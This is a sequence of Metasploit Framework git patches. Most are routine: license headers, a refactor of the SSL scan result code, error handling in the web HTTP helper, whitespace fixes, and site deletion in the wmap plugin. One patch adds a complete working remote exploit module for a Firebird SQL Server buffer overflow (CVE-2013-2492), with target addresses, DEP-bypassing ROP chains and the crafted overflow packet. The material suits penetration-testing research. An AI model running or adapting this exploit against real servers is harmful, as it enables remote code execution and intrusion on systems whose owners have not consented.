a/modules/auxiliary/admin/scada/modicon_command.rb +++ b/modules/auxiliary/admin/scada/modicon_command.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary From db1f4d7e1d63eeb8bc50d0168017bb45a971b3e0 Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:20:02 +0000 Subject: [PATCH 321/341] added license info --- modules/auxiliary/admin/smb/psexec_command.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 7be526fab2..7ca4152343 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -1,4 +1,9 @@ -#!/usr/bin/env ruby +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## require 'msf/core' From 398d13e0531638daecceafc82d5c3c48224d33b4 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 7 Mar 2013 09:51:05 -0500 Subject: [PATCH 322/341] Initial commit of the Firebird CNCT Group Number Buffer Overflow. --- .../exploits/windows/misc/fb_cnct_group.rb | 243 ++++++++++++++++++ 1 file changed, 243 insertions(+) create mode 100644 modules/exploits/windows/misc/fb_cnct_group.rb diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb new file mode 100644 index 0000000000..e7dae86c27 --- /dev/null +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -0,0 +1,243 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + include Msf::Exploit::Remote::Tcp + + def initialize + super( + 'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow', + 'Description' => %q{ + This module exploits a vulnerability in Firebird SQL Server. A + specially crafted packet can be sent which will overwrite a pointer + allowing the attacker to control where data is read from. Shortly following + the controlled read, the pointer is called resulting in code execution. + + The vulnerability exists with a group number is extracted from the CNCT information + which is sent by the client and the size is not properly checked. + + This module utilizes an existing call to memcpy just prior to the vulnerable exception + which allows a small amount of data to be written to the stack. A small stackpivot is + used to execute a small ROP chain which provides a larger stack pivot to a larger ROP + chain which ultimately is used to execute VirtualAlloc and bypass DEP. + }, + 'Author' => [ + 'Spencer McIntyre' + ], + 'Arch' => [ ARCH_X86 ], + 'Platform' => [ 'win' ], + 'References' => + [ + [ 'CVE', '2013-2492' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh' + }, + 'Payload' => + { + # mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] + 'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20", + 'Space' => 400, + 'BadChars' => "\x00\x0a\x0d", + }, + 'Targets' => + [ + # pivots are pointers to stack pivots + [ 'Windows FB 2.5.2.26539', { 'pivot' => 0x005ae1fc, 'rop_nop' => 0x005b0384, 'rop_pop' => 0x4a831344 } ], + [ 'Windows FB 2.5.1.26351', { 'pivot' => 0x4add2302, 'rop_nop' => 0x00424a50, 'rop_pop' => 0x00656472 } ], + [ 'Windows FB 2.1.5.18496', { 'pivot' => 0x4ad5df4d, 'rop_nop' => 0x0042ba8c, 'rop_pop' => 0x005763d5 } ], + [ 'Debug', { 'pivot' => 0xdead1337, 'rop_nop' => 0xdead1337, 'rop_pop' => 0xdead1337 } ], + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => 'Jan 31 2013' + ) + + register_options([Opt::RPORT(3050)], self.class) + end + + def check + begin + connect + rescue + return Exploit::CheckCode::Safe + end + + filename = "C:\\#{rand_text_alpha(12)}.fdb" + username = rand_text_alpha(7) + + check_data = "" + check_data << "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" + check_data << "\x00\x00\x00\x13" + check_data << filename + check_data << "\x00\x00\x00\x00\x04\x00\x00\x00\x24" + check_data << "\x01\x07" << username << "\x04\x15\x6c\x6f\x63\x61\x6c" + check_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" + check_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" + check_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" + check_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" + check_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" + check_data << "\xff\xff\x80\x0c\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" + check_data << "\x00\x00\x00\x08" + + sock.put(check_data) + data = sock.recv(16) + disconnect + + opcode = data.unpack("N*")[0] + version = data.unpack("N*")[1] + if opcode == 3 # Accept + if [ 0xffff800b, 0xffff800c ].include?(version) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Unknown + end + + def stack_pivot_rop_chain + case target.name + when 'Windows FB 2.5.2.26539' + rop_chain = [ + 0x005e1ea4, # MOV EAX,EDI # RETN [fbserver.exe] + 0x0059ffeb, # POP EBP # RETN [fbserver.exe] + 0x0000153c, # 0x0000153c-> ebp + 0x005d261f, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] + 0x0059fe1f, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] + ].pack("V*") + when 'Windows FB 2.5.1.26351' + rop_chain = [ + 0x005e1ab8, # MOV EAX,EDI # RETN [fbserver.exe] + 0x0059650b, # POP EBP # RETN [fbserver.exe] + 0x0000153c, # 0x0000153c-> ebp + 0x005cf6ff, # ADD EBP,EAX # MOV EBX,59FFFFC9 # RETN [fbserver.exe] + 0x0059a3db, # MOV ESP,EBP # POP EBP # RETN [fbserver.exe] + ].pack("V*") + when 'Windows FB 2.1.5.18496' + rop_chain = [ + 0x0055b844, # MOV EAX,EDI # RETN [fbserver.exe] + 0x4a86ee77, # POP ECX # RETN [icuuc30.dll] + 0x000001c0, # 0x000001c0-> ebp + 0x005aee63, # ADD EAX,ECX # RETN [fbserver.exe] + 0x4a82d326, # XCHG EAX,ESP # RETN [icuuc30.dll] + ].pack("V*") + when 'Debug' + rop_chain = [ ].fill(0x41414141, 0..5).pack("V*") + end + return rop_chain + end + + def final_rop_chain + # all rop chains in here created with mona.py, thanks corelan! + case target.name + when 'Windows FB 2.5.2.26539' + rop_chain = [ + 0x4a831344, # POP ECX # RETN [icuuc30.dll] + 0x0065f16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] + 0x005989f0, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] + 0x004666a6, # XCHG EAX,ESI # RETN [fbserver.exe] + 0x00431905, # POP EBP # RETN [fbserver.exe] + 0x00401932, # & push esp # ret [fbserver.exe] + 0x4a844ac0, # POP EBX # RETN [icuuc30.dll] + 0x00001000, # 0x00001000-> ebx + 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] + 0x00001000, # 0x00001000-> edx + 0x005dae9e, # POP ECX # RETN [fbserver.exe] + 0x00000040, # 0x00000040-> ecx + 0x0057a822, # POP EDI # RETN [fbserver.exe] + 0x005b0384, # RETN (ROP NOP) [fbserver.exe] + 0x0046f8c3, # POP EAX # RETN [fbserver.exe] + 0x90909090, # nop + 0x00586002, # PUSHAD # RETN [fbserver.exe] + ].pack("V*") + when 'Windows FB 2.5.1.26351' + rop_chain = [ + 0x00656472, # POP ECX # RETN [fbserver.exe] + 0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe] + 0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe] + 0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe] + 0x0041d1ae, # POP EBP # RETN [fbserver.exe] + 0x0040917f, # & call esp [fbserver.exe] + 0x4a8589c0, # POP EBX # RETN [icuuc30.dll] + 0x00001000, # 0x00001000-> ebx + 0x4a864cc3, # POP EDX # RETN [icuuc30.dll] + 0x00001000, # 0x00001000-> edx + 0x0064ef59, # POP ECX # RETN [fbserver.exe] + 0x00000040, # 0x00000040-> ecx + 0x005979fa, # POP EDI # RETN [fbserver.exe] + 0x00424a50, # RETN (ROP NOP) [fbserver.exe] + 0x4a86052d, # POP EAX # RETN [icuuc30.dll] + 0x90909090, # nop + 0x005835f2, # PUSHAD # RETN [fbserver.exe] + ].pack("V*") + when 'Windows FB 2.1.5.18496' + rop_chain = [ + 0x005763d5, # POP EAX # RETN [fbserver.exe] + 0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe] + 0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe] + 0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe] + 0x004e695a, # POP EBP # RETN [fbserver.exe] + 0x004d9e6d, # & jmp esp [fbserver.exe] + 0x4a828650, # POP EBX # RETN [icuuc30.dll] + 0x00001000, # 0x00001000-> ebx + 0x4a85bfee, # POP EDX # RETN [icuuc30.dll] + 0x00001000, # 0x00001000-> edx + 0x00590328, # POP ECX # RETN [fbserver.exe] + 0x00000040, # 0x00000040-> ecx + 0x4a8573a1, # POP EDI # RETN [icuuc30.dll] + 0x0042ba8c, # RETN (ROP NOP) [fbserver.exe] + 0x00577605, # POP EAX # RETN [fbserver.exe] + 0x90909090, # nop + 0x004530ce, # PUSHAD # RETN [fbserver.exe] + ].flatten.pack("V*") + when 'Debug' + rop_chain = [ ].fill(0x41414141, 0..17).pack("V*") + end + return rop_chain + end + + def exploit + connect + + rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*") + + # this data gets written to the stack via memcpy, no more than 32 bytes can be written + overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot + overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8] + overwrite_and_rop_chain << stack_pivot_rop_chain + + filename = "C:\\#{rand_text_alpha(13)}.fdb" + evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24" + evil_data << "\x00\x00\x00\x14" + evil_data << filename + evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24" + evil_data << "\x05\x20" + evil_data << overwrite_and_rop_chain + evil_data << "\x15\x6c\x6f\x63\x61\x6c" + evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e" + evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02" + evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01" + evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b" + evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06" + evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05" + evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41" + evil_data << rop_nop_sled + evil_data << final_rop_chain + evil_data << payload.encoded + + print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Connection Request For #{filename}") + sock.put(evil_data) + + disconnect + end + +end From 7332d31523daae05b91ec65ce9987d7190cc1ef5 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 7 Mar 2013 11:11:48 -0600 Subject: [PATCH 323/341] fix some style things for egypt --- lib/rex/sslscan/result.rb | 17 +++++++++-------- spec/lib/rex/sslscan/result_spec.rb | 4 ++-- 2 files changed, 11 insertions(+), 10 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 51068ab5d3..ad053fa3ea 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -12,7 +12,7 @@ class Result def initialize() @cert = nil - @ciphers = [] + @ciphers = Set.new @supported_versions = [:SSLv2, :SSLv3, :TLSv1] end @@ -53,7 +53,8 @@ class Result # @raise [ArgumentError] if the version supplied is invalid # @return [Array] An array of accepted cipher details matching the supplied versions def accepted(version = :all) - if version.kind_of? Symbol + case version + when Symbol case version when :all return @ciphers.reject{|cipher| cipher[:status] == :rejected} @@ -62,8 +63,8 @@ class Result else raise ArgumentError, "Invalid SSL Version Supplied: #{version}" end - elsif version.kind_of? Array - version.reject!{|v| !(@supported_versions.include? v)} + when Array + version = version.reject{|v| !(@supported_versions.include? v)} if version.empty? return @ciphers.reject{|cipher| cipher[:status] == :rejected} else @@ -80,7 +81,8 @@ class Result # @raise [ArgumentError] if the version supplied is invalid # @return [Array] An array of rejected cipher details matching the supplied versions def rejected(version = :all) - if version.kind_of? Symbol + case version + when Symbol case version when :all return @ciphers.reject{|cipher| cipher[:status] == :accepted} @@ -89,8 +91,8 @@ class Result else raise ArgumentError, "Invalid SSL Version Supplied: #{version}" end - elsif version.kind_of? Array - version.reject!{|v| !(@supported_versions.include? v)} + when Array + version = version.reject{|v| !(@supported_versions.include? v)} if version.empty? return @ciphers.reject{|cipher| cipher[:status] == :accepted} else @@ -173,7 +175,6 @@ class Result cipher_details = {:version => version, :cipher => cipher, :key_length => key_length, :weak => weak, :status => status} @ciphers << cipher_details - @ciphers.uniq! end def to_s diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index e7c404a71b..c0086782d6 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -25,8 +25,8 @@ describe Rex::SSLScan::Result do subject.cert.should == nil end - it "should return an empty array for ciphers" do - subject.ciphers.should == [] + it "should return an empty set for ciphers" do + subject.ciphers.empty?.should == true end it "should return an empty array for accepted" do From 007b26d918b2bc30fe45af1d48a0a4506cf0e02d Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 7 Mar 2013 11:35:34 -0600 Subject: [PATCH 324/341] dry up enumerators --- lib/rex/sslscan/result.rb | 80 ++++++++++++++++++--------------------- 1 file changed, 36 insertions(+), 44 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index ad053fa3ea..1ab165ecd2 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -22,7 +22,7 @@ class Result def cert=(input) unless input.kind_of? OpenSSL::X509::Certificate or input.nil? - raise ArgumentError, "Must be an X509 Cert!" + raise ArgumentError, "Must be an X509 Cert!" end @cert = input end @@ -53,26 +53,7 @@ class Result # @raise [ArgumentError] if the version supplied is invalid # @return [Array] An array of accepted cipher details matching the supplied versions def accepted(version = :all) - case version - when Symbol - case version - when :all - return @ciphers.reject{|cipher| cipher[:status] == :rejected} - when :SSLv2, :SSLv3, :TLSv1 - return @ciphers.reject{|cipher| cipher[:status] == :rejected or cipher[:version] != version} - else - raise ArgumentError, "Invalid SSL Version Supplied: #{version}" - end - when Array - version = version.reject{|v| !(@supported_versions.include? v)} - if version.empty? - return @ciphers.reject{|cipher| cipher[:status] == :rejected} - else - return @ciphers.reject{|cipher| cipher[:status] == :rejected or !(version.include? cipher[:version])} - end - else - raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}" - end + enum_ciphers(:accepted, version) end # Returns all rejected ciphers matching the supplied version @@ -81,26 +62,7 @@ class Result # @raise [ArgumentError] if the version supplied is invalid # @return [Array] An array of rejected cipher details matching the supplied versions def rejected(version = :all) - case version - when Symbol - case version - when :all - return @ciphers.reject{|cipher| cipher[:status] == :accepted} - when :SSLv2, :SSLv3, :TLSv1 - return @ciphers.reject{|cipher| cipher[:status] == :accepted or cipher[:version] != version} - else - raise ArgumentError, "Invalid SSL Version Supplied: #{version}" - end - when Array - version = version.reject{|v| !(@supported_versions.include? v)} - if version.empty? - return @ciphers.reject{|cipher| cipher[:status] == :accepted} - else - return @ciphers.reject{|cipher| cipher[:status] == :accepted or !(version.include? cipher[:version])} - end - else - raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}" - end + enum_ciphers(:rejected, version) end def each_accepted(version = :all) @@ -166,7 +128,7 @@ class Result # OpenSSL Directive For Strong Ciphers # See: http://www.rapid7.com/vulndb/lookup/ssl-weak-ciphers strong_cipher_ctx.ciphers = "ALL:!aNULL:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM" - + if strong_cipher_ctx.ciphers.flatten.include? cipher weak = false else @@ -178,7 +140,7 @@ class Result end def to_s - unless supports_ssl? + unless supports_ssl? return "Server does not appear to support SSL on this port!" end table = Rex::Ui::Text::Table.new( @@ -206,6 +168,36 @@ class Result text << "\n\n *** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" end text - end + end + + protected + + # @param [Symbol] state Either :accepted or :rejected + # @param [Symbol] version The SSL Version to filter on (:SSLv2:SSLv3,:TLSv1) + # @param [Array] version An array of SSL Versions to filter on + # @return [Set] The Set of cipher results matching the filter criteria + def enum_ciphers(state, version = :all) + case version + when Symbol + case version + when :all + return @ciphers.select{|cipher| cipher[:status] == state} + when :SSLv2, :SSLv3, :TLSv1 + return @ciphers.select{|cipher| cipher[:status] == state and cipher[:version] == version} + else + raise ArgumentError, "Invalid SSL Version Supplied: #{version}" + end + when Array + version = version.reject{|v| !(@supported_versions.include? v)} + if version.empty? + return @ciphers.select{|cipher| cipher[:status] == state} + else + return @ciphers.select{|cipher| cipher[:status] == state and version.include? cipher[:version]} + end + else + raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}" + end + end + end end \ No newline at end of file From 06443ea4d05e25943f615759fcd00f839c95aa12 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 7 Mar 2013 11:52:58 -0600 Subject: [PATCH 325/341] yarddoc cleanup --- lib/rex/sslscan/result.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 1ab165ecd2..d513c4c859 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -48,8 +48,7 @@ class Result end # Returns all accepted ciphers matching the supplied version - # @param version [Symbol] The SSL Version to filter on - # @param version [Array] An array of SSL Versions to filter on + # @param version [Symbol, Array] The SSL Version to filter on # @raise [ArgumentError] if the version supplied is invalid # @return [Array] An array of accepted cipher details matching the supplied versions def accepted(version = :all) @@ -57,8 +56,7 @@ class Result end # Returns all rejected ciphers matching the supplied version - # @param version [Symbol] The SSL Version to filter on - # @param version [Array] An array of SSL Versions to filter on + # @param version [Symbol, Array] The SSL Version to filter on # @raise [ArgumentError] if the version supplied is invalid # @return [Array] An array of rejected cipher details matching the supplied versions def rejected(version = :all) @@ -173,8 +171,7 @@ class Result protected # @param [Symbol] state Either :accepted or :rejected - # @param [Symbol] version The SSL Version to filter on (:SSLv2:SSLv3,:TLSv1) - # @param [Array] version An array of SSL Versions to filter on + # @param [Symbol, Array] version The SSL Version to filter on (:SSLv2:SSLv3,:TLSv1, :all) # @return [Set] The Set of cipher results matching the filter criteria def enum_ciphers(state, version = :all) case version From cf3df4b179f725b69d4d1d8da4b7b7b10ad30f48 Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Thu, 7 Mar 2013 20:14:38 +0200 Subject: [PATCH 326/341] Auxiliary::Web::HTTP: added error output Instead of using elog when an HTTP request callback throws an exception, use the HTTP class' parent #print_error. --- lib/msf/core/auxiliary/web/http.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 166370abbc..789c8233c8 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -67,6 +67,7 @@ class Auxiliary::Web::HTTP attr_reader :opts attr_reader :headers attr_reader :framework + attr_reader :parent attr_accessor :redirect_limit attr_accessor :username , :password @@ -75,6 +76,7 @@ class Auxiliary::Web::HTTP @opts = opts.dup @framework = opts[:framework] + @parent = opts[:parent] @headers = { 'Accept' => '*/*', @@ -130,8 +132,8 @@ class Auxiliary::Web::HTTP begin request.handle_response request( request.url, request.opts ) rescue => e - elog e.to_s - e.backtrace.each { |l| elog l } + print_error e.to_s + e.backtrace.each { |l| print_error l } end end end @@ -250,6 +252,11 @@ class Auxiliary::Web::HTTP private + def print_error( message ) + return if !@parent + @parent.print_error message + end + def call_after_run_blocks while block = @after_run_blocks.pop block.call From c41bfa9141eb034db4a5d9b366e83fc7256d9092 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Mar 2013 12:45:01 -0600 Subject: [PATCH 327/341] Whitespace --- lib/rex/sslscan/result.rb | 62 +++++++++++++++++++------------------- lib/rex/sslscan/scanner.rb | 18 +++++------ 2 files changed, 40 insertions(+), 40 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index d513c4c859..23753cfa77 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -52,7 +52,7 @@ class Result # @raise [ArgumentError] if the version supplied is invalid # @return [Array] An array of accepted cipher details matching the supplied versions def accepted(version = :all) - enum_ciphers(:accepted, version) + enum_ciphers(:accepted, version) end # Returns all rejected ciphers matching the supplied version @@ -60,7 +60,7 @@ class Result # @raise [ArgumentError] if the version supplied is invalid # @return [Array] An array of rejected cipher details matching the supplied versions def rejected(version = :all) - enum_ciphers(:rejected, version) + enum_ciphers(:rejected, version) end def each_accepted(version = :all) @@ -160,41 +160,41 @@ class Result table.rows.sort_by!{|row| [row[0],row[2],row[3]]} text = "#{table.to_s}" if @cert - text <<" \n\n #{@cert.to_text}" + text << " \n\n #{@cert.to_text}" end if openssl_sslv2 == false text << "\n\n *** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" end text - end + end - protected + protected - # @param [Symbol] state Either :accepted or :rejected - # @param [Symbol, Array] version The SSL Version to filter on (:SSLv2:SSLv3,:TLSv1, :all) - # @return [Set] The Set of cipher results matching the filter criteria - def enum_ciphers(state, version = :all) - case version - when Symbol - case version - when :all - return @ciphers.select{|cipher| cipher[:status] == state} - when :SSLv2, :SSLv3, :TLSv1 - return @ciphers.select{|cipher| cipher[:status] == state and cipher[:version] == version} - else - raise ArgumentError, "Invalid SSL Version Supplied: #{version}" - end - when Array - version = version.reject{|v| !(@supported_versions.include? v)} - if version.empty? - return @ciphers.select{|cipher| cipher[:status] == state} - else - return @ciphers.select{|cipher| cipher[:status] == state and version.include? cipher[:version]} - end - else - raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}" - end - end + # @param [Symbol] state Either :accepted or :rejected + # @param [Symbol, Array] version The SSL Version to filter on (:SSLv2:SSLv3,:TLSv1, :all) + # @return [Set] The Set of cipher results matching the filter criteria + def enum_ciphers(state, version = :all) + case version + when Symbol + case version + when :all + return @ciphers.select{|cipher| cipher[:status] == state} + when :SSLv2, :SSLv3, :TLSv1 + return @ciphers.select{|cipher| cipher[:status] == state and cipher[:version] == version} + else + raise ArgumentError, "Invalid SSL Version Supplied: #{version}" + end + when Array + version = version.reject{|v| !(@supported_versions.include? v)} + if version.empty? + return @ciphers.select{|cipher| cipher[:status] == state} + else + return @ciphers.select{|cipher| cipher[:status] == state and version.include? cipher[:version]} + end + else + raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}" + end + end end -end \ No newline at end of file +end diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 3cd191152b..f751bc8dd1 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -9,7 +9,7 @@ class Scanner attr_accessor :host attr_accessor :port attr_accessor :timeout - + attr_reader :supported_versions attr_reader :sslv2 @@ -81,7 +81,7 @@ class Scanner 'SSLVersion' => :SSLv23, 'Timeout' => @timeout ) - rescue ::Exception => e + rescue ::Exception => e return :rejected ensure if scan_client @@ -101,7 +101,7 @@ class Scanner 'SSLVersion' => :TLSv1, 'Timeout' => @timeout ) - rescue ::Exception => e + rescue ::Exception => e return :rejected ensure if scan_client @@ -127,14 +127,14 @@ class Scanner 'SSLCipher' => cipher, 'Timeout' => @timeout ) - rescue ::Exception => e + rescue ::Exception => e return :rejected ensure if scan_client scan_client.close end end - + return :accepted end @@ -160,7 +160,7 @@ class Scanner else return nil end - rescue ::Exception => e + rescue ::Exception => e return nil ensure if scan_client @@ -172,7 +172,7 @@ class Scanner protected - # Validates that the SSL Version and Cipher are valid both seperately and + # Validates that the SSL Version and Cipher are valid both seperately and # together as part of an SSL Context. # @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1) # @param cipher [String] The SSL Cipher to use @@ -193,7 +193,7 @@ class Scanner end def check_opensslv2 - begin + begin OpenSSL::SSL::SSLContext.new(:SSLv2) rescue return false @@ -202,4 +202,4 @@ class Scanner end end -end \ No newline at end of file +end From 27f43d3d1c5206c62aede955c1bcba855d298eb0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Mar 2013 12:50:43 -0600 Subject: [PATCH 328/341] Param name goes before type --- lib/rex/sslscan/result.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 23753cfa77..5dcc1211f3 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -170,8 +170,8 @@ class Result protected - # @param [Symbol] state Either :accepted or :rejected - # @param [Symbol, Array] version The SSL Version to filter on (:SSLv2:SSLv3,:TLSv1, :all) + # @param state [Symbol] Either :accepted or :rejected + # @param version [Symbol, Array] The SSL Version to filter on (:SSLv2, :SSLv3, :TLSv1, :all) # @return [Set] The Set of cipher results matching the filter criteria def enum_ciphers(state, version = :all) case version From 6e8f3ff8fe0962ad8d897070beb6b3158aa41eb8 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Thu, 7 Mar 2013 14:40:50 -0500 Subject: [PATCH 329/341] Allow WMAP plugin to delete site by index WMAP plugin currently lacks the ability to delete sites, meaning that console users have to remove sites via IRB/Pry. Given the indexed output of wmap_sites -l, the index is used in delete_site. If required, deletion by resolving the url,host format can be added. --- plugins/wmap.rb | 681 +++++++++++++++++++++++++----------------------- 1 file changed, 354 insertions(+), 327 deletions(-) diff --git a/plugins/wmap.rb b/plugins/wmap.rb index dd0172c5f1..fb6c990fb0 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -15,16 +15,16 @@ module Msf class Plugin::Wmap < Msf::Plugin class WmapCommandDispatcher - attr_accessor :wmapmodules # Enabled Wmap modules + attr_accessor :wmapmodules # Enabled Wmap modules attr_accessor :targets # Targets - attr_accessor :lastsites # Temp location of previously obtained sites + attr_accessor :lastsites # Temp location of previously obtained sites attr_accessor :rpcarr # Array or rpc connections - attr_accessor :njobs # Max number of jobs + attr_accessor :njobs # Max number of jobs attr_accessor :nmaxdisplay # Flag to stop displaying the same mesg attr_accessor :runlocal # Flag to run local modules only attr_accessor :masstop # Flag to stop everything attr_accessor :killwhenstop # Kill process when exiting - + include Msf::Ui::Console::CommandDispatcher def name @@ -44,7 +44,7 @@ class Plugin::Wmap < Msf::Plugin "wmap_vulns" => "Display web vulns", } end - + def cmd_wmap_vulns(*args) args.push("-h") if args.length == 0 @@ -67,7 +67,7 @@ class Plugin::Wmap < Msf::Plugin end end - + def cmd_wmap_modules(*args) args.push("-h") if args.length == 0 @@ -100,7 +100,7 @@ class Plugin::Wmap < Msf::Plugin while (arg = args.shift) case arg when '-c' - self.targets = Hash.new() + self.targets = Hash.new() when '-l' view_targets return @@ -112,7 +112,7 @@ class Plugin::Wmap < Msf::Plugin print_status("Usage: wmap_targets [options]") print_line("\t-h Display this help text") print_line("\t-t [urls] Define target sites (vhost1,url[space]vhost2,url) ") - print_line("\t-d [ids] Define target sites (id1, id2, id3 ...)") + print_line("\t-d [ids] Define target sites (id1, id2, id3 ...)") print_line("\t-c Clean target sites list") print_line("\t-l List all target sites") @@ -137,6 +137,13 @@ class Plugin::Wmap < Msf::Plugin else print_error("Unable to create site") end + when '-d' + del_idx = args.shift + if del_idx + delete_site(del_idx.to_i) + else + print_error("Provide index of site to delete") + end when '-l' view_sites return @@ -148,7 +155,7 @@ class Plugin::Wmap < Msf::Plugin if not u return end - + if l == nil or l.empty? l = 200 s = true @@ -156,25 +163,25 @@ class Plugin::Wmap < Msf::Plugin l = l.to_i s = false end - + if u.include? 'http' # Parameters are in url form view_site_tree(u,l,s) else # Parameters are digits - if !self.lastsites or self.lastsites.length == 0 + if !self.lastsites or self.lastsites.length == 0 view_sites print_status ("Web sites ids. referenced from previous table.") end - + target_whitelist = [] ids = u.to_s.split(/,/) ids.each do |id| next if id.to_s.strip.empty? - + if id.to_i > self.lastsites.length - print_error("Skipping id #{id}...") + print_error("Skipping id #{id}...") else target_whitelist << self.lastsites[id.to_i] #print_status("Loading #{self.lastsites[id.to_i]}.") @@ -185,18 +192,19 @@ class Plugin::Wmap < Msf::Plugin return if target_whitelist.length == 0 if not self.targets - self.targets = Hash.new() + self.targets = 